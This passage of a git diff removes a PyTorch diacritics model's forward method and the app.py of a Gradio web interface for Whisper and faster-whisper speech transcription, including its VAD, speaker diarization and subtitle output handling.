-        if self.use_prenet:
-            cbhg_input = self.prenet(embedding_out)
-
-            # cbhg_input = [batch_size, src_len, prenet_sizes[-1]]
-
-        outputs = self.cbhg(cbhg_input, lengths)
-
-        hn = torch.zeros((2, 2, 2))
-        cn = torch.zeros((2, 2, 2))
-
-        for i, layer in enumerate(self.post_cbhg_layers):
-            if isinstance(layer, nn.BatchNorm1d):
-                outputs = layer(outputs.permute(0, 2, 1))
-                outputs = outputs.permute(0, 2, 1)
-                continue
-            if i > 0:
-                outputs, (hn, cn) = layer(outputs, (hn, cn))
-            else:
-                outputs, (hn, cn) = layer(outputs)
-
-
-        predictions = self.projections(outputs)
-
-        # predictions = [batch_size, src len, targ_vocab_size]
-
-        output = {"diacritics": predictions}
-
-        return output
diff --git a/spaces/aadnk/faster-whisper-webui/app.py b/spaces/aadnk/faster-whisper-webui/app.py
deleted file mode 100644
index 4212898a25a8cdab28a179bb92bad3208e13cfdb..0000000000000000000000000000000000000000
--- a/spaces/aadnk/faster-whisper-webui/app.py
+++ /dev/null
@@ -1,777 +0,0 @@
-from datetime import datetime
-import json
-import math
-from typing import Callable, Iterator, Union
-import argparse
-
-from io import StringIO
-import os
-import pathlib
-import tempfile
-import zipfile
-import numpy as np
-
-import torch
-
-from src.config import VAD_INITIAL_PROMPT_MODE_VALUES, ApplicationConfig, VadInitialPromptMode
-from src.diarization.diarization import Diarization
-from src.diarization.diarizationContainer import DiarizationContainer
-from src.diarization.transcriptLoader import load_transcript
-from src.hooks.progressListener import ProgressListener
-from src.hooks.subTaskProgressListener import SubTaskProgressListener
-from src.languages import get_language_names
-from src.modelCache import ModelCache
-from src.prompts.jsonPromptStrategy import JsonPromptStrategy
-from src.prompts.prependPromptStrategy import PrependPromptStrategy
-from src.source import AudioSource, get_audio_source_collection
-from src.vadParallel import ParallelContext, ParallelTranscription
-
-# External programs
-import ffmpeg
-
-# UI
-import gradio as gr
-
-from src.download import ExceededMaximumDuration, download_url
-from src.utils import optional_int, slugify, str2bool, write_srt, write_vtt
-from src.vad import AbstractTranscription, NonSpeechStrategy, PeriodicTranscriptionConfig, TranscriptionConfig, VadPeriodicTranscription, VadSileroTranscription
-from src.whisper.abstractWhisperContainer import AbstractWhisperContainer
-from src.whisper.whisperFactory import create_whisper_container
-
-# Configure more application defaults in config.json5
-
-# Gradio seems to truncate files without keeping the extension, so we need to truncate the file prefix ourself 
-MAX_FILE_PREFIX_LENGTH = 17
-
-# Limit auto_parallel to a certain number of CPUs (specify vad_cpu_cores to get a higher number)
-MAX_AUTO_CPU_CORES = 8
-
-WHISPER_MODELS = ["tiny", "base", "small", "medium", "large", "large-v1", "large-v2"]
-
-class VadOptions:
-    def __init__(self, vad: str = None, vadMergeWindow: float = 5, vadMaxMergeSize: float = 150, vadPadding: float = 1, vadPromptWindow: float = 1, 
-                                        vadInitialPromptMode: Union[VadInitialPromptMode, str] = VadInitialPromptMode.PREPREND_FIRST_SEGMENT):
-        self.vad = vad
-        self.vadMergeWindow = vadMergeWindow
-        self.vadMaxMergeSize = vadMaxMergeSize
-        self.vadPadding = vadPadding
-        self.vadPromptWindow = vadPromptWindow
-        self.vadInitialPromptMode = vadInitialPromptMode if isinstance(vadInitialPromptMode, VadInitialPromptMode) \
-                                        else VadInitialPromptMode.from_string(vadInitialPromptMode)
-
-class WhisperTranscriber:
-    def __init__(self, input_audio_max_duration: float = None, vad_process_timeout: float = None, 
-                 vad_cpu_cores: int = 1, delete_uploaded_files: bool = False, output_dir: str = None, 
-                 app_config: ApplicationConfig = None):
-        self.model_cache = ModelCache()
-        self.parallel_device_list = None
-        self.gpu_parallel_context = None
-        self.cpu_parallel_context = None
-        self.vad_process_timeout = vad_process_timeout
-        self.vad_cpu_cores = vad_cpu_cores
-
-        self.vad_model = None
-        self.inputAudioMaxDuration = input_audio_max_duration
-        self.deleteUploadedFiles = delete_uploaded_files
-        self.output_dir = output_dir
-
-        # Support for diarization
-        self.diarization: DiarizationContainer = None
-        # Dictionary with parameters to pass to diarization.run - if None, diarization is not enabled
-        self.diarization_kwargs = None
-        self.app_config = app_config
-
-    def set_parallel_devices(self, vad_parallel_devices: str):
-        self.parallel_device_list = [ device.strip() for device in vad_parallel_devices.split(",") ] if vad_parallel_devices else None
-
-    def set_auto_parallel(self, auto_parallel: bool):
-        if auto_parallel:
-            if torch.cuda.is_available():
-                self.parallel_device_list = [ str(gpu_id) for gpu_id in range(torch.cuda.device_count())]
-
-            self.vad_cpu_cores = min(os.cpu_count(), MAX_AUTO_CPU_CORES)
-            print("[Auto parallel] Using GPU devices " + str(self.parallel_device_list) + " and " + str(self.vad_cpu_cores) + " CPU cores for VAD/transcription.")
-
-    def set_diarization(self, auth_token: str, enable_daemon_process: bool = True, **kwargs):
-        if self.diarization is None:
-            self.diarization = DiarizationContainer(auth_token=auth_token, enable_daemon_process=enable_daemon_process, 
-                                                    auto_cleanup_timeout_seconds=self.app_config.diarization_process_timeout, 
-                                                    cache=self.model_cache)
-        # Set parameters
-        self.diarization_kwargs = kwargs
-
-    def unset_diarization(self):
-        if self.diarization is not None:
-            self.diarization.cleanup()
-        self.diarization_kwargs = None
-
-    # Entry function for the simple tab
-    def transcribe_webui_simple(self, modelName, languageName, urlData, multipleFiles, microphoneData, task, 
-                                vad, vadMergeWindow, vadMaxMergeSize, 
-                                word_timestamps: bool = False, highlight_words: bool = False,
-                                diarization: bool = False, diarization_speakers: int = 2):
-        return self.transcribe_webui_simple_progress(modelName, languageName, urlData, multipleFiles, microphoneData, task, 
-                                                     vad, vadMergeWindow, vadMaxMergeSize, 
-                                                     word_timestamps, highlight_words, 
-                                                     diarization, diarization_speakers)
-    
-    # Entry function for the simple tab progress
-    def transcribe_webui_simple_progress(self, modelName, languageName, urlData, multipleFiles, microphoneData, task, 
-                                         vad, vadMergeWindow, vadMaxMergeSize, 
-                                         word_timestamps: bool = False, highlight_words: bool = False, 
-                                         diarization: bool = False, diarization_speakers: int = 2,
-                                         progress=gr.Progress()):
-        
-        vadOptions = VadOptions(vad, vadMergeWindow, vadMaxMergeSize, self.app_config.vad_padding, self.app_config.vad_prompt_window, self.app_config.vad_initial_prompt_mode)
-
-        if diarization:
-            self.set_diarization(auth_token=self.app_config.auth_token, num_speakers=diarization_speakers)
-        else:
-            self.unset_diarization()
-
-        return self.transcribe_webui(modelName, languageName, urlData, multipleFiles, microphoneData, task, vadOptions, 
-                                     word_timestamps=word_timestamps, highlight_words=highlight_words, progress=progress)
-
-    # Entry function for the full tab
-    def transcribe_webui_full(self, modelName, languageName, urlData, multipleFiles, microphoneData, task, 
-                              vad, vadMergeWindow, vadMaxMergeSize, vadPadding, vadPromptWindow, vadInitialPromptMode, 
-                              # Word timestamps
-                              word_timestamps: bool, highlight_words: bool, prepend_punctuations: str, append_punctuations: str,
-                              initial_prompt: str, temperature: float, best_of: int, beam_size: int, patience: float, length_penalty: float, suppress_tokens: str, 
-                              condition_on_previous_text: bool, fp16: bool, temperature_increment_on_fallback: float, 
-                              compression_ratio_threshold: float, logprob_threshold: float, no_speech_threshold: float,
-                              diarization: bool = False, diarization_speakers: int = 2, 
-                              diarization_min_speakers = 1, diarization_max_speakers = 5):
-        
-        return self.transcribe_webui_full_progress(modelName, languageName, urlData, multipleFiles, microphoneData, task, 
-                                vad, vadMergeWindow, vadMaxMergeSize, vadPadding, vadPromptWindow, vadInitialPromptMode,
-                                word_timestamps, highlight_words, prepend_punctuations, append_punctuations,
-                                initial_prompt, temperature, best_of, beam_size, patience, length_penalty, suppress_tokens,
-                                condition_on_previous_text, fp16, temperature_increment_on_fallback,
-                                compression_ratio_threshold, logprob_threshold, no_speech_threshold,
-                                diarization, diarization_speakers, 
-                                diarization_min_speakers, diarization_max_speakers)
-
-    # Entry function for the full tab with progress
-    def transcribe_webui_full_progress(self, modelName, languageName, urlData, multipleFiles, microphoneData, task, 
-                                        vad, vadMergeWindow, vadMaxMergeSize, vadPadding, vadPromptWindow, vadInitialPromptMode,
-                                        # Word timestamps
-                                        word_timestamps: bool, highlight_words: bool, prepend_punctuations: str, append_punctuations: str,   
-                                        initial_prompt: str, temperature: float, best_of: int, beam_size: int, patience: float, length_penalty: float, suppress_tokens: str, 
-                                        condition_on_previous_text: bool, fp16: bool, temperature_increment_on_fallback: float, 
-                                        compression_ratio_threshold: float, logprob_threshold: float, no_speech_threshold: float, 
-                                        diarization: bool = False, diarization_speakers: int = 2, 
-                                        diarization_min_speakers = 1, diarization_max_speakers = 5,
-                                        progress=gr.Progress()):
-
-        # Handle temperature_increment_on_fallback
-        if temperature_increment_on_fallback is not None:
-            temperature = tuple(np.arange(temperature, 1.0 + 1e-6, temperature_increment_on_fallback))
-        else:
-            temperature = [temperature]
-
-        vadOptions = VadOptions(vad, vadMergeWindow, vadMaxMergeSize, vadPadding, vadPromptWindow, vadInitialPromptMode)
-
-        # Set diarization
-        if diarization:
-            self.set_diarization(auth_token=self.app_config.auth_token, num_speakers=diarization_speakers, 
-                                 min_speakers=diarization_min_speakers, max_speakers=diarization_max_speakers)
-        else:
-            self.unset_diarization()
-
-        return self.transcribe_webui(modelName, languageName, urlData, multipleFiles, microphoneData, task, vadOptions,
-                                     initial_prompt=initial_prompt, temperature=temperature, best_of=best_of, beam_size=beam_size, patience=patience, length_penalty=length_penalty, suppress_tokens=suppress_tokens,
-                                     condition_on_previous_text=condition_on_previous_text, fp16=fp16,
-                                     compression_ratio_threshold=compression_ratio_threshold, logprob_threshold=logprob_threshold, no_speech_threshold=no_speech_threshold, 
-                                     word_timestamps=word_timestamps, prepend_punctuations=prepend_punctuations, append_punctuations=append_punctuations, highlight_words=highlight_words,
-                                     progress=progress)
-
-    # Perform diarization given a specific input audio file and whisper file
-    def perform_extra(self, languageName, urlData, singleFile, whisper_file: str, 
-                      highlight_words: bool = False,
-                      diarization: bool = False, diarization_speakers: int = 2, diarization_min_speakers = 1, diarization_max_speakers = 5, progress=gr.Progress()):
-    
-        if whisper_file is None:
-            raise ValueError("whisper_file is required")
-
-         # Set diarization
-        if diarization:
-            self.set_diarization(auth_token=self.app_config.auth_token, num_speakers=diarization_speakers, 
-                                min_speakers=diarization_min_speakers, max_speakers=diarization_max_speakers)
-        else:
-            self.unset_diarization()
-        
-        def custom_transcribe_file(source: AudioSource):
-            result = load_transcript(whisper_file.name)
-            
-            # Set language if not set
-            if not "language" in result:
-                result["language"] = languageName
-
-            # Mark speakers
-            result = self._handle_diarization(source.source_path, result)
-            return result
-        
-        multipleFiles = [singleFile] if singleFile else None
-        
-        # Will return download, text, vtt
-        return self.transcribe_webui("base", "", urlData, multipleFiles, None, None, None, 
-                                       progress=progress,highlight_words=highlight_words,
-                                       override_transcribe_file=custom_transcribe_file, override_max_sources=1)
-
-    def transcribe_webui(self, modelName, languageName, urlData, multipleFiles, microphoneData, task, 
-                         vadOptions: VadOptions, progress: gr.Progress = None, highlight_words: bool = False, 
-                         override_transcribe_file: Callable[[AudioSource], dict] = None, override_max_sources = None,
-                         **decodeOptions: dict):
-        try:
-            sources = self.__get_source(urlData, multipleFiles, microphoneData)
-
-            if override_max_sources is not None and len(sources) > override_max_sources:
-                raise ValueError("Maximum number of sources is " + str(override_max_sources) + ", but " + str(len(sources)) + " were provided")
-
-            try:
-                selectedLanguage = languageName.lower() if len(languageName) > 0 else None
-                selectedModel = modelName if modelName is not None else "base"
-
-                if override_transcribe_file is None:
-                    model = create_whisper_container(whisper_implementation=self.app_config.whisper_implementation, 
-                                                    model_name=selectedModel, compute_type=self.app_config.compute_type, 
-                                                    cache=self.model_cache, models=self.app_config.models)
-                else:
-                    model = None
-
-                # Result
-                download = []
-                zip_file_lookup = {}
-                text = ""
-                vtt = ""
-
-                # Write result
-                downloadDirectory = tempfile.mkdtemp()
-                source_index = 0
-
-                outputDirectory = self.output_dir if self.output_dir is not None else downloadDirectory
-
-                # Progress
-                total_duration = sum([source.get_audio_duration() for source in sources])
-                current_progress = 0
-
-                # A listener that will report progress to Gradio
-                root_progress_listener = self._create_progress_listener(progress)
-
-                # Execute whisper
-                for source in sources:
-                    source_prefix = ""
-                    source_audio_duration = source.get_audio_duration()
-
-                    if (len(sources) > 1):
-                        # Prefix (minimum 2 digits)
-                        source_index += 1
-                        source_prefix = str(source_index).zfill(2) + "_"
-                        print("Transcribing ", source.source_path)
-
-                    scaled_progress_listener = SubTaskProgressListener(root_progress_listener, 
-                                                   base_task_total=total_duration,
-                                                   sub_task_start=current_progress,
-                                                   sub_task_total=source_audio_duration)
-
-                    # Transcribe using the override function if specified
-                    if override_transcribe_file is None:
-                        result = self.transcribe_file(model, source.source_path, selectedLanguage, task, vadOptions, scaled_progress_listener, **decodeOptions)
-                    else:
-                        result = override_transcribe_file(source)
-
-                    filePrefix = slugify(source_prefix + source.get_short_name(), allow_unicode=True)
-
-                    # Update progress
-                    current_progress += source_audio_duration
-
-                    source_download, source_text, source_vtt = self.write_result(result, filePrefix, outputDirectory, highlight_words)
-
-                    if len(sources) > 1:
-                        # Add new line separators
-                        if (len(source_text) > 0):
-                            source_text += os.linesep + os.linesep
-                        if (len(source_vtt) > 0):
-                            source_vtt += os.linesep + os.linesep
-
-                        # Append file name to source text too
-                        source_text = source.get_full_name() + ":" + os.linesep + source_text
-                        source_vtt = source.get_full_name() + ":" + os.linesep + source_vtt
-
-                    # Add to result
-                    download.extend(source_download)
-                    text += source_text
-                    vtt += source_vtt
-
-                    if (len(sources) > 1):
-                        # Zip files support at least 260 characters, but we'll play it safe and use 200
-                        zipFilePrefix = slugify(source_prefix + source.get_short_name(max_length=200), allow_unicode=True)
-
-                        # File names in ZIP file can be longer
-                        for source_download_file in source_download:
-                            # Get file postfix (after last -)
-                            filePostfix = os.path.basename(source_download_file).split("-")[-1]
-                            zip_file_name = zipFilePrefix + "-" + filePostfix
-                            zip_file_lookup[source_download_file] = zip_file_name
-
-                # Create zip file from all sources
-                if len(sources) > 1:
-                    downloadAllPath = os.path.join(downloadDirectory, "All_Output-" + datetime.now().strftime("%Y%m%d-%H%M%S") + ".zip")
-
-                    with zipfile.ZipFile(downloadAllPath, 'w', zipfile.ZIP_DEFLATED) as zip:
-                        for download_file in download:
-                            # Get file name from lookup
-                            zip_file_name = zip_file_lookup.get(download_file, os.path.basename(download_file))
-                            zip.write(download_file, arcname=zip_file_name)
-
-                    download.insert(0, downloadAllPath)
-
-                return download, text, vtt
-
-            finally:
-                # Cleanup source
-                if self.deleteUploadedFiles:
-                    for source in sources:
-                        print("Deleting source file " + source.source_path)
-
-                        try:
-                            os.remove(source.source_path)
-                        except Exception as e:
-                            # Ignore error - it's just a cleanup
-                            print("Error deleting source file " + source.source_path + ": " + str(e))
-        
-        except ExceededMaximumDuration as e:
-            return [], ("[ERROR]: Maximum remote video length is " + str(e.maxDuration) + "s, file was " + str(e.videoDuration) + "s"), "[ERROR]"
-
-    def transcribe_file(self, model: AbstractWhisperContainer, audio_path: str, language: str, task: str = None, 
-                        vadOptions: VadOptions = VadOptions(), 
-                        progressListener: ProgressListener = None, **decodeOptions: dict):
-        
-        initial_prompt = decodeOptions.pop('initial_prompt', None)
-
-        if progressListener is None:
-            # Default progress listener
-            progressListener = ProgressListener()
-
-        if ('task' in decodeOptions):
-            task = decodeOptions.pop('task')
-
-        initial_prompt_mode = vadOptions.vadInitialPromptMode
-
-        # Set default initial prompt mode
-        if (initial_prompt_mode is None):
-            initial_prompt_mode = VadInitialPromptMode.PREPREND_FIRST_SEGMENT
-
-        if (initial_prompt_mode == VadInitialPromptMode.PREPEND_ALL_SEGMENTS or 
-            initial_prompt_mode == VadInitialPromptMode.PREPREND_FIRST_SEGMENT):
-            # Prepend initial prompt
-            prompt_strategy = PrependPromptStrategy(initial_prompt, initial_prompt_mode)
-        elif (vadOptions.vadInitialPromptMode == VadInitialPromptMode.JSON_PROMPT_MODE):
-            # Use a JSON format to specify the prompt for each segment
-            prompt_strategy = JsonPromptStrategy(initial_prompt)
-        else:
-            raise ValueError("Invalid vadInitialPromptMode: " + initial_prompt_mode)
-
-        # Callable for processing an audio file
-        whisperCallable = model.create_callback(language, task, prompt_strategy=prompt_strategy, **decodeOptions)
-
-        # The results
-        if (vadOptions.vad == 'silero-vad'):
-            # Silero VAD where non-speech gaps are transcribed
-            process_gaps = self._create_silero_config(NonSpeechStrategy.CREATE_SEGMENT, vadOptions)
-            result = self.process_vad(audio_path, whisperCallable, self.vad_model, process_gaps, progressListener=progressListener)
-        elif (vadOptions.vad == 'silero-vad-skip-gaps'):
-            # Silero VAD where non-speech gaps are simply ignored
-            skip_gaps = self._create_silero_config(NonSpeechStrategy.SKIP, vadOptions)
-            result = self.process_vad(audio_path, whisperCallable, self.vad_model, skip_gaps, progressListener=progressListener)
-        elif (vadOptions.vad == 'silero-vad-expand-into-gaps'):
-            # Use Silero VAD where speech-segments are expanded into non-speech gaps
-            expand_gaps = self._create_silero_config(NonSpeechStrategy.EXPAND_SEGMENT, vadOptions)
-            result = self.process_vad(audio_path, whisperCallable, self.vad_model, expand_gaps, progressListener=progressListener)
-        elif (vadOptions.vad == 'periodic-vad'):
-            # Very simple VAD - mark every 5 minutes as speech. This makes it less likely that Whisper enters an infinite loop, but
-            # it may create a break in the middle of a sentence, causing some artifacts.
-            periodic_vad = VadPeriodicTranscription()
-            period_config = PeriodicTranscriptionConfig(periodic_duration=vadOptions.vadMaxMergeSize, max_prompt_window=vadOptions.vadPromptWindow)
-            result = self.process_vad(audio_path, whisperCallable, periodic_vad, period_config, progressListener=progressListener)
-
-        else:
-            if (self._has_parallel_devices()):
-                # Use a simple period transcription instead, as we need to use the parallel context
-                periodic_vad = VadPeriodicTranscription()
-                period_config = PeriodicTranscriptionConfig(periodic_duration=math.inf, max_prompt_window=1)
-
-                result = self.process_vad(audio_path, whisperCallable, periodic_vad, period_config, progressListener=progressListener)
-            else:
-                # Default VAD
-                result = whisperCallable.invoke(audio_path, 0, None, None, progress_listener=progressListener)
-        
-        # Diarization
-        result = self._handle_diarization(audio_path, result)
-        return result
-
-    def _handle_diarization(self, audio_path: str, input: dict):
-        if self.diarization and self.diarization_kwargs:
-            print("Diarizing ", audio_path)
-            diarization_result = list(self.diarization.run(audio_path, **self.diarization_kwargs))
-
-            # Print result
-            print("Diarization result: ")
-            for entry in diarization_result:
-                print(f"  start={entry.start:.1f}s stop={entry.end:.1f}s speaker_{entry.speaker}")
-
-            # Add speakers to result
-            input = self.diarization.mark_speakers(diarization_result, input)
-
-        return input
-
-    def _create_progress_listener(self, progress: gr.Progress):
-        if (progress is None):
-            # Dummy progress listener
-            return ProgressListener()
-        
-        class ForwardingProgressListener(ProgressListener):
-            def __init__(self, progress: gr.Progress):
-                self.progress = progress
-
-            def on_progress(self, current: Union[int, float], total: Union[int, float]):
-                # From 0 to 1
-                self.progress(current / total)
-
-            def on_finished(self):
-                self.progress(1)
-
-        return ForwardingProgressListener(progress)
-
-    def process_vad(self, audio_path, whisperCallable, vadModel: AbstractTranscription, vadConfig: TranscriptionConfig, 
-                    progressListener: ProgressListener = None):
-        if (not self._has_parallel_devices()):
-            # No parallel devices, so just run the VAD and Whisper in sequence
-            return vadModel.transcribe(audio_path, whisperCallable, vadConfig, progressListener=progressListener)
-
-        gpu_devices = self.parallel_device_list
-
-        if (gpu_devices is None or len(gpu_devices) == 0):
-            # No GPU devices specified, pass the current environment variable to the first GPU process. This may be NULL.
-            gpu_devices = [os.environ.get("CUDA_VISIBLE_DEVICES", None)]
-
-        # Create parallel context if needed
-        if (self.gpu_parallel_context is None):
-            # Create a context wih processes and automatically clear the pool after 1 hour of inactivity
-            self.gpu_parallel_context = ParallelContext(num_processes=len(gpu_devices), auto_cleanup_timeout_seconds=self.vad_process_timeout)
-        # We also need a CPU context for the VAD
-        if (self.cpu_parallel_context is None):
-            self.cpu_parallel_context = ParallelContext(num_processes=self.vad_cpu_cores, auto_cleanup_timeout_seconds=self.vad_process_timeout)
-
-        parallel_vad = ParallelTranscription()
-        return parallel_vad.transcribe_parallel(transcription=vadModel, audio=audio_path, whisperCallable=whisperCallable,  
-                                                config=vadConfig, cpu_device_count=self.vad_cpu_cores, gpu_devices=gpu_devices, 
-                                                cpu_parallel_context=self.cpu_parallel_context, gpu_parallel_context=self.gpu_parallel_context, 
-                                                progress_listener=progressListener) 
-
-    def _has_parallel_devices(self):
-        return (self.parallel_device_list is not None and len(self.parallel_device_list) > 0) or self.vad_cpu_cores > 1
-
-    def _concat_prompt(self, prompt1, prompt2):
-        if (prompt1 is None):
-            return prompt2
-        elif (prompt2 is None):
-            return prompt1
-        else:
-            return prompt1 + " " + prompt2
-
-    def _create_silero_config(self, non_speech_strategy: NonSpeechStrategy, vadOptions: VadOptions):
-        # Use Silero VAD 
-        if (self.vad_model is None):
-            self.vad_model = VadSileroTranscription()
-
-        config = TranscriptionConfig(non_speech_strategy = non_speech_strategy, 
-                max_silent_period=vadOptions.vadMergeWindow, max_merge_size=vadOptions.vadMaxMergeSize, 
-                segment_padding_left=vadOptions.vadPadding, segment_padding_right=vadOptions.vadPadding, 
-                max_prompt_window=vadOptions.vadPromptWindow)
-
-        return config
-
-    def write_result(self, result: dict, source_name: str, output_dir: str, highlight_words: bool = False):
-        if not os.path.exists(output_dir):
-            os.makedirs(output_dir)
-
-        text = result["text"]
-        language = result["language"] if "language" in result else None
-        languageMaxLineWidth = self.__get_max_line_width(language)
-
-        print("Max line width " + str(languageMaxLineWidth))
-        vtt = self.__get_subs(result["segments"], "vtt", languageMaxLineWidth, highlight_words=highlight_words)
-        srt = self.__get_subs(result["segments"], "srt", languageMaxLineWidth, highlight_words=highlight_words)
-        json_result = json.dumps(result, indent=4, ensure_ascii=False)
-
-        output_files = []
-        output_files.append(self.__create_file(srt, output_dir, source_name + "-subs.srt"));
-        output_files.append(self.__create_file(vtt, output_dir, source_name + "-subs.vtt"));
-        output_files.append(self.__create_file(text, output_dir, source_name + "-transcript.txt"));
-        output_files.append(self.__create_file(json_result, output_dir, source_name + "-result.json"));
-
-        return output_files, text, vtt
-
-    def clear_cache(self):
-        self.model_cache.clear()
-        self.vad_model = None
-
-    def __get_source(self, urlData, multipleFiles, microphoneData):
-        return get_audio_source_collection(urlData, multipleFiles, microphoneData, self.inputAudioMaxDuration)
-
-    def __get_max_line_width(self, language: str) -> int:
-        if (language and language.lower() in ["japanese", "ja", "chinese", "zh"]):
-            # Chinese characters and kana are wider, so limit line length to 40 characters
-            return 40
-        else:
-            # TODO: Add more languages
-            # 80 latin characters should fit on a 1080p/720p screen
-            return 80
-
-    def __get_subs(self, segments: Iterator[dict], format: str, maxLineWidth: int, highlight_words: bool = False) -> str:
-        segmentStream = StringIO()
-
-        if format == 'vtt':
-            write_vtt(segments, file=segmentStream, maxLineWidth=maxLineWidth, highlight_words=highlight_words)
-        elif format == 'srt':
-            write_srt(segments, file=segmentStream, maxLineWidth=maxLineWidth, highlight_words=highlight_words)
-        else:
-            raise Exception("Unknown format " + format)
-
-        segmentStream.seek(0)
-        return segmentStream.read()
-
-    def __create_file(self, text: str, directory: str, fileName: str) -> str:
-        # Write the text to a file
-        with open(os.path.join(directory, fileName), 'w+', encoding="utf-8") as file:
-            file.write(text)
-
-        return file.name
-
-    def close(self):
-        print("Closing parallel contexts")
-        self.clear_cache()
-
-        if (self.gpu_parallel_context is not None):
-            self.gpu_parallel_context.close()
-        if (self.cpu_parallel_context is not None):
-            self.cpu_parallel_context.close()
-
-        # Cleanup diarization
-        if (self.diarization is not None):
-            self.diarization.cleanup()
-            self.diarization = None
-
-def create_ui(app_config: ApplicationConfig):
-    ui = WhisperTranscriber(app_config.input_audio_max_duration, app_config.vad_process_timeout, app_config.vad_cpu_cores, 
-                            app_config.delete_uploaded_files, app_config.output_dir, app_config)
-
-    # Specify a list of devices to use for parallel processing
-    ui.set_parallel_devices(app_config.vad_parallel_devices)
-    ui.set_auto_parallel(app_config.auto_parallel)
-
-    is_whisper = False
-
-    if app_config.whisper_implementation == "whisper":
-        implementation_name = "Whisper"
-        is_whisper = True
-    elif app_config.whisper_implementation in ["faster-whisper", "faster_whisper"]:
-        implementation_name = "Faster Whisper"
-    else:
-        # Try to convert from camel-case to title-case
-        implementation_name = app_config.whisper_implementation.title().replace("_", " ").replace("-", " ")
-
-    ui_description = implementation_name + " is a general-purpose speech recognition model. It is trained on a large dataset of diverse " 
-    ui_description += " audio and is also a multi-task model that can perform multilingual speech recognition "
-    ui_description += " as well as speech translation and language identification. "
-
-    ui_description += "\n\n\n\nFor longer audio files (>10 minutes) not in English, it is recommended that you select Silero VAD (Voice Activity Detector) in the VAD option."
-
-    # Recommend faster-whisper
-    if is_whisper:
-        ui_description += "\n\n\n\nFor faster inference on GPU, try [faster-whisper](https://huggingface.co/spaces/aadnk/faster-whisper-webui)."
-
-    if app_config.input_audio_max_duration > 0:
-        ui_description += "\n\n" + "Max audio file length: " + str(app_config.input_audio_max_duration) + " s"
-
-    ui_article = "Read the [documentation here](https://gitlab.com/aadnk/whisper-webui/-/blob/main/docs/options.md)."
-
-    whisper_models = app_config.get_model_names()
-
-    common_inputs = lambda : [
-        gr.Dropdown(choices=whisper_models, value=app_config.default_model_name, label="Model"),
-        gr.Dropdown(choices=sorted(get_language_names()), label="Language", value=app_config.language),
-        gr.Text(label="URL (YouTube, etc.)"),
-        gr.File(label="Upload Files", file_count="multiple"),
-        gr.Audio(source="microphone", type="filepath", label="Microphone Input"),
-        gr.Dropdown(choices=["transcribe", "translate"], label="Task", value=app_config.task),
-    ]
-
-    common_vad_inputs = lambda : [
-        gr.Dropdown(choices=["none", "silero-vad", "silero-vad-skip-gaps", "silero-vad-expand-into-gaps", "periodic-vad"], value=app_config.default_vad, label="VAD"),
-        gr.Number(label="VAD - Merge Window (s)", precision=0, value=app_config.vad_merge_window),
-        gr.Number(label="VAD - Max Merge Size (s)", precision=0, value=app_config.vad_max_merge_size),
-    ]
-    
-    common_word_timestamps_inputs = lambda : [
-        gr.Checkbox(label="Word Timestamps", value=app_config.word_timestamps),
-        gr.Checkbox(label="Word Timestamps - Highlight Words", value=app_config.highlight_words),
-    ]
-
-    has_diarization_libs = Diarization.has_libraries()
-
-    if not has_diarization_libs:
-        print("Diarization libraries not found - disabling diarization")
-        app_config.diarization = False
-
-    common_diarization_inputs = lambda : [
-        gr.Checkbox(label="Diarization", value=app_config.diarization, interactive=has_diarization_libs),
-        gr.Number(label="Diarization - Speakers", precision=0, value=app_config.diarization_speakers, interactive=has_diarization_libs)
-    ]
-
-    is_queue_mode = app_config.queue_concurrency_count is not None and app_config.queue_concurrency_count > 0    
-
-    simple_transcribe = gr.Interface(fn=ui.transcribe_webui_simple_progress if is_queue_mode else ui.transcribe_webui_simple, 
-                                     description=ui_description, article=ui_article, inputs=[
-        *common_inputs(),
-        *common_vad_inputs(),
-        *common_word_timestamps_inputs(),
-        *common_diarization_inputs(),
-    ], outputs=[
-        gr.File(label="Download"),
-        gr.Text(label="Transcription"), 
-        gr.Text(label="Segments")
-    ])
-
-    full_description = ui_description + "\n\n\n\n" + "Be careful when changing some of the options in the full interface - this can cause the model to crash."
-
-    full_transcribe = gr.Interface(fn=ui.transcribe_webui_full_progress if is_queue_mode else ui.transcribe_webui_full,
-                                   description=full_description, article=ui_article, inputs=[
-        *common_inputs(),
-
-        *common_vad_inputs(),
-        gr.Number(label="VAD - Padding (s)", precision=None, value=app_config.vad_padding),
-        gr.Number(label="VAD - Prompt Window (s)", precision=None, value=app_config.vad_prompt_window),
-        gr.Dropdown(choices=VAD_INITIAL_PROMPT_MODE_VALUES, label="VAD - Initial Prompt Mode"),
-        
-        *common_word_timestamps_inputs(),
-        gr.Text(label="Word Timestamps - Prepend Punctuations", value=app_config.prepend_punctuations),
-        gr.Text(label="Word Timestamps - Append Punctuations", value=app_config.append_punctuations),
-
-        gr.TextArea(label="Initial Prompt"),
-        gr.Number(label="Temperature", value=app_config.temperature),
-        gr.Number(label="Best Of - Non-zero temperature", value=app_config.best_of, precision=0),
-        gr.Number(label="Beam Size - Zero temperature", value=app_config.beam_size, precision=0),
-        gr.Number(label="Patience - Zero temperature", value=app_config.patience),
-        gr.Number(label="Length Penalty - Any temperature", value=app_config.length_penalty), 
-        gr.Text(label="Suppress Tokens - Comma-separated list of token IDs", value=app_config.suppress_tokens),
-        gr.Checkbox(label="Condition on previous text", value=app_config.condition_on_previous_text),
-        gr.Checkbox(label="FP16", value=app_config.fp16),
-        gr.Number(label="Temperature increment on fallback", value=app_config.temperature_increment_on_fallback),
-        gr.Number(label="Compression ratio threshold", value=app_config.compression_ratio_threshold),
-        gr.Number(label="Logprob threshold", value=app_config.logprob_threshold),
-        gr.Number(label="No speech threshold", value=app_config.no_speech_threshold),
-
-        *common_diarization_inputs(),
-        gr.Number(label="Diarization - Min Speakers", precision=0, value=app_config.diarization_min_speakers, interactive=has_diarization_libs),
-        gr.Number(label="Diarization - Max Speakers", precision=0, value=app_config.diarization_max_speakers, interactive=has_diarization_libs),
-
-    ], outputs=[
-        gr.File(label="Download"),
-        gr.Text(label="Transcription"), 
-        gr.Text(label="Segments")
-    ])
-
-    perform_extra_interface = gr.Interface(fn=ui.perform_extra,
-                                   description="Perform additional processing on a given JSON or SRT file", article=ui_article, inputs=[
-        gr.Dropdown(choices=sorted(get_language_names()), label="Language", value=app_config.language),
-        gr.Text(label="URL (YouTube, etc.)"),
-        gr.File(label="Upload Audio File", file_count="single"),
-        gr.File(label="Upload JSON/SRT File", file_count="single"),
-        gr.Checkbox(label="Word Timestamps - Highlight Words", value=app_config.highlight_words),
-
-        *common_diarization_inputs(),
-        gr.Number(label="Diarization - Min Speakers", precision=0, value=app_config.diarization_min_speakers, interactive=has_diarization_libs),
